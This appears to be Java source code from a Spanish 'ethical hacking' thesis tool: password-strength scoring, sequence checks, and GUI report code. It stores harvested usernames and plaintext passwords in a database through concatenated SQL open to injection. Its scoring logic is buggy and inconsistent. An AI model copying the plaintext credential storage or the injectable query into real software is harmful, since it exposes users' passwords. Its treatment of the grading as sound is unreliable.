/*+CARACTERES ESPECIALES+++*/ /*tipo:> \|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµࢣ·:ª!"·$%&/()=?¿Çº*' --*/ default: contador_especiales++; longitud_password++; evalua_secuencia(j,a_analizar,al); }// fin switch análisis passwd }//fin for interno longitud palabra cadena_total_datos=cadena_total_datos + '\n'+ "Este es el resultado del password "+a_analizar+'\n'; // niveles de seguridad.../ // 10% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=10; aux_seguridad="10%"; } // 10% // 15% if (longitud_password <= 4 && contador_mayusculas ==0 && contador_números ==0 && contador_especiales ==0 && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=15; aux_seguridad="15%"; } // 15% //15% if (longitud_password <= 4 && ( contador_mayusculas <2 || contador_números <2 || contador_especiales <2) && diccionario==true )
279
{ auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=15; aux_seguridad="15%"; } // 15% // 20% if (longitud_password <= 4 && ( contador_mayusculas <2 || contador_números <2 || contador_especiales <2) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" etras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=20; aux_seguridad="20%"; } // 20% // 30% if (longitud_password <= 7 && ( contador_mayusculas ==0 || contador_números ==0 || contador_especiales ==0 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; Validador=30; aux_seguridad="30%"; } // 30% // 40% if (longitud_password <= 7 && ( contador_mayusculas ==0 || contador_números ==0 || contador_especiales ==0 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de
280
"+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=30; aux_seguridad="30%"; } // 40% // 40% if (longitud_password <= 7 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=30; aux_seguridad="30%"; } // 40% // 30% if (longitud_password <= 7 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; Validador=30; aux_seguridad="30%"; } // 30% // 45% if (longitud_password <= 7 && ( contador_mayusculas >1 || contador_números >1 || contador_especiales >1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" etras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password es totalmente inseguro..cambiarlo de inmediato"; validador=45; aux_seguridad="45%"; }
281
// 45% // 50% if (longitud_password <= 7 && ( contador_mayusculas >1 || contador_números >1 || contador_especiales >1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"se recomienda cambiar el password lo más pronto posible"; Validador=50; aux_seguridad="50%"; } // 50% // 50% if (longitud_password == 8 && ( contador_mayusculas ==1 || contador_números ==1 || contador_especiales ==1 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password es inseguro..cambiarlo de inmediato"; validador=50; aux_seguridad="50%"; // 50% // 60% if (longitud_password == 8 && ( contador_mayusculas >=2 || contador_números >=2 || contador_especiales >=2 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password cumple con algunas normas de seguridad..Se sugiere cambiarlo cuando expire"; validador=60; aux_seguridad="60%"; } // 60% // 50% if (longitud_password > 8 && ( contador_mayusculas >2 || contador_números >2 || contador_especiales >2 ) && diccionario==true ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras
282
mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"Es una palabra de diccionario"+'\n'+"el password cumple con las normas de seguridad pero puede ser vulnerado..cambiarlo lo antes posible"; validador=50; aux_seguridad="50%"; } // 50% // 80% if (longitud_password > 8 && ( contador_mayusculas >3 || contador_números >3 || contador_especiales >3 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=80; aux_seguridad="80%"; } // 80% // 90% if (longitud_password > 14 && ( contador_mayusculas >3 || contador_números >3 || contador_especiales >3 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=90; aux_seguridad="90%"; } // 90% // 95% if (longitud_password > 20 && ( contador_mayusculas >7 || contador_números >7 || contador_especiales >7 ) && diccionario==false ) { auxiliar_resultados = '\n'+ "El password tiene: "+'\n'+ contador_minusculas+" letras minusculas"+'\n'+contador_mayusculas+" letras mayusculas"+'\n'+contador_alfabeto +" letras del alfabeto"+'\n'+ contador_números+" números"+'\n'+ contador_especiales+" caracteres especiales"+'\n'+"Con una longitud de "+longitud_password+'\n'+'\n'+"No es una
283
palabra de diccionario"+'\n'+"el password cumple con las normas standart de seguridad..cambiarlo cuando expire"; validador=95; aux_seguridad="95%"; } // 95% // NIVELES DE SEGURIDAD.../ cadena_total_datos= cadena_total_datos+auxiliar_resultados; if (validador >= valida_alto_1) { aux_análisis="alto"; aux_resultado = "el password cumple con normas de seguridad se lo recomienda cambiar o haya expirado segun politicas de la empresa"; } if ((validador < valida_alto_1)&&(validador >= valida_medio_1)) { aux_análisis="medio"; aux_resultado = "el password cumple con algunas normas de seguridad sin embargo se lo recomienda cambiar en el menor tiempo posible o cuando haya expirado segun politicas de la empresa"; }else{ aux_análisis="bajo"; aux_resultado="el password tiene normas bajas o nulas de seguridad..cambiarlo lo más pronto posible..."; } análisis_passwords[canálisis]= aux_análisis; seguridad[cseguridad]=aux_seguridad; resultados[cresultado]=aux_resultado; cseguridad++; canálisis++; cresultado++; a_analizar=""; contador_minusculas=0; contador_mayusculas=0; contador_alfabeto=0; longitud_password=0; secuencia=0; contador_números=0; contador_especiales=0; diccionario=false; fecha_coincide=false; secuencia_1 = false; secuencia_2 = false; secuencia_3 = false; secuencia_4 = false; secuencia_5 = false; secuencia_6 = false; secuencia_7 = false; secuencia_8 = false; aux_análisis=""; aux_seguridad=""; aux_expirado=""; aux_resultado="";auxiliar_resultados=""; }//fin if cadena analizar passwd }// fin for longitud array passwords int status =p_muestra.waitFor(); return status==0; } public static void evalua_secuencia(int j,String a_analizar,char al )//inicio evalua secuencia
284
{ if (j>3)// inicio if secuencia { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al) { secuencia_3= true; }else{ if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al) { secuencia_2= true; } } } // j>3 if (j>6) { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al) { secuencia_5= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al || a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) || a_analizar.charAt(j-3) == al) { secuencia_2=true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4)) { secuencia_4=true; } }// j >6 if (j>9) { if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) && a_analizar.charAt(j-8)==al ) { secuencia_8= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) || a_analizar.charAt(j-1)== al || a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) || a_analizar.charAt(j-3) == al || a_analizar.charAt(j-6)==a_analizar.charAt(j-7) || a_analizar.charAt(j-8)==al )
285
{ secuencia_2= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_7= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al ) { secuencia_5= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_6= true; } if(a_analizar.charAt(j-1)==a_analizar.charAt(j-2) && a_analizar.charAt(j-1)== al ) { secuencia_3= true; } if(a_analizar.charAt(j-1)== al && a_analizar.charAt(j-3) ==a_analizar.charAt(j-4) && a_analizar.charAt(j-3) == al && a_analizar.charAt(j-6)==a_analizar.charAt(j-7) ) { secuencia_5= true; } }// j>9 }// fin if secuencia private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void boton_guardar_log1ActionPerformed(java.awt.event.ActionEvent evt) { Fecha time1 = new Fecha(); String fecha_sistema_1 = time1.getFecha();
286
Reloj clock1 =new Reloj(); String hora_sistema_1 = clock1.getHora(); try{// inicio try 1 Connection connection2 = ACCESS.ObtenerConexion(); Statement statement2 = connection2.createStatement(); for(int h = 0; h < usuarios.length;h++){// inicio for 1 if(usuarios[h]!=null) { String SQL1= "INSERT INTO reporte(direccion,usuario,password,tipo_usuario,análisis,estado,fecha,hora,seguridad) values ('"+ip_final_1+"','"+usuarios[h]+"','"+passwords[h]+"','"+servicios[h]+"', '"+análisis_passwords[h]+"','"+expirados[h]+"','"+fecha_sistema_1+"','"+hora_sistema_1+"','"+seguridad[h]+"')"; o = statement2.executeUpdate(SQL1); } }// fin for 1 if (o==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG", "no se pudo ingresar a la base de datos","consulte con la ayuda del sistema","gracias"); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","la actualizacion de la base","se realizo con exito","gracias por usar nuestro programa.."); connection2.commit(); statement2.close(); } }catch(Exception e){ Msg a=new Msg("Aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar el almacenamiento en BD","consulte con la ayuda sistema","gracias"); }// fin try 1 } private void botonsalir1ActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new análisis(ip_final_1,a,b_c,c,aux_fecha).setVisible(true); } }); } static String cadena_total_análisis=""; static String cadena_total_datos=""; static InputStream is_muestra; static BufferedReader br_muestra;
287
static String aux_muestra; static String cadena_total_analizar=""; static String a=""; static String b_c=""; static String c=""; static InputStream is_squid; static BufferedReader br_squid; static String aux_squid=""; static int cont_punt_squid=0; static int contador_alfabeto=0; static int contador_minusculas=0; static int contador_números=0; static int contador_mayusculas=0; static int contador_especiales=0; static int longitud_password=0; static int secuencia=0; static int validador =0; static int pos1=0; static int pos11=0; static int anio_bd=0; static int mes_bd=0; static int dia_bd=0; static int dia_s=0; static String dia=""; static String dia_sist=""; static String auxiliar_resultados=""; static String fecha_bd=""; static String anio=""; static String mes=""; static int b; static int anio_total=0; static int mes_total=0; static int cont_punt=0; static String a_analizar=""; static String usuario=""; static String u_usuario=""; static String anio_sistema=""; static String mes_sistema=""; static String aux_análisis=""; static String aux_seguridad=""; static String aux_expirado=""; static String aux_resultado=""; static String conclusion_análisis; static String[] usuarios=new String [30]; static String[] passwords=new String[30]; static String[] análisis_passwords=new String[30]; static String[] servicios= new String[30]; static String [] seguridad= new String[30]; static String[] expirados = new String[30]; static String []resultados = new String [500]; static BufferedReader is; static String aax; static int anio_s=0; static int mes_s=0; static int cusuarios=0; static int cpasswords=0; static int cservicios=0; static int canálisis=0; static int cseguridad=0; static int cexpirados=0; static int cresultado=0; static int q=0;
288
static int a_contar=0; static int o; static boolean diccionario= false; static boolean fecha_coincide=false; static boolean band_fechita = false; static boolean band_sist = false; static boolean band_bd = false; static boolean fecha_coincide_1=false; static boolean secuencia_1 = false; static boolean secuencia_2 = false; static boolean secuencia_3 = false; static boolean secuencia_4 = false; static boolean secuencia_5 = false; static boolean secuencia_6 = false; static boolean secuencia_7 = false; static boolean secuencia_8 = false; static String ip_final_1=""; static int valida_alto_1=0; static int valida_medio_1=0; static int valida_bajo_1=0; static int valida_fecha_1=0; static String aux_fecha=""; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_guardar_log1; private javax.swing.JButton boton_resultados; private javax.swing.JButton botonsalir1; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; private javax.swing.JTable tabla_resultados_passwd; private javax.swing.JEditorPane text_analiza_passwd; }
289
reporte.java
import java.io.*; import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; import java.SQL.*; import org.jfree.*; import java.awt.*; public class reporte extends javax.swing.JFrame { public reporte() { initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); botonanálisis = new javax.swing.JButton(); botonreportes = new javax.swing.JButton(); botonestadisticas = new javax.swing.JButton(); botonacercade = new javax.swing.JButton(); botonsalir = new javax.swing.JButton(); jScrollPane3 = new javax.swing.JScrollPane(); tabla_resultados_passwd1 = new javax.swing.JTable(); botonip = new javax.swing.JButton(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("REPORTES GENERALES"); jLabel1.setFont(new java.awt.Font("Serif", 3, 25)); jLabel1.setForeground(new java.awt.Color(0, 51, 204)); jLabel1.setText("Reportes del sistema"); botonanálisis.setFont(new java.awt.Font("Arial", 0, 10));
290
botonanálisis.setForeground(new java.awt.Color(0, 102, 102)); botonanálisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); botonanálisis.setText("Por Fecha"); botonanálisis.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonanálisisActionPerformed(evt); } }); botonreportes.setFont(new java.awt.Font("Arial", 0, 10)); botonreportes.setForeground(new java.awt.Color(0, 102, 102)); botonreportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); botonreportes.setText("% seguridad"); botonreportes.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonreportesActionPerformed(evt); } }); botonestadisticas.setFont(new java.awt.Font("Arial", 0, 10)); botonestadisticas.setForeground(new java.awt.Color(0, 102, 102)); botonestadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); botonestadisticas.setText("Estad\u00edstica"); botonestadisticas.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonestadisticasActionPerformed(evt); } }); botonacercade.setFont(new java.awt.Font("Arial", 0, 10)); botonacercade.setForeground(new java.awt.Color(0, 102, 102)); botonacercade.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonacercade.setText("Todos"); botonacercade.setToolTipText("Creditos"); botonacercade.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonacercadeActionPerformed(evt); } }); botonsalir.setFont(new java.awt.Font("Arial", 0, 10)); botonsalir.setForeground(new java.awt.Color(0, 102, 102)); botonsalir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); botonsalir.setText("Vigencia"); botonsalir.setToolTipText("Salir"); botonsalir.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) {
291
botonsalirActionPerformed(evt); } }); tabla_resultados_passwd1.setFont(new java.awt.Font("Arial", 0, 11)); tabla_resultados_passwd1.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Direccion", "Usuario", "Password ", "Tipo usuario", "Análisis", "% seguridad", "Estado", "Fecha", "Hora" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false, false, false, false, false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane3.setViewportView(tabla_resultados_passwd1); botonip.setFont(new java.awt.Font("Arial", 0, 10)); botonip.setForeground(new java.awt.Color(0, 102, 102)); botonip.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); botonip.setText("IP"); botonip.setToolTipText("Creditos"); botonip.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonipActionPerformed(evt); } }); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema");
292
scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10));
293
reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas_re.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { estadisticas_reActionPerformed(evt); } }); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de);
294
salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(235, 235, 235) .add(jLabel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 282, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(layout.createSequentialGroup() .addContainerGap() .add(botonestadisticas) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonreportes) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonanálisis) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonacercade) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(botonsalir) .add(15, 15, 15) .add(botonip)) .add(layout.createSequentialGroup() .addContainerGap() .add(jScrollPane3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 695, Short.MAX_VALUE))) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .add(18, 18, 18)
295
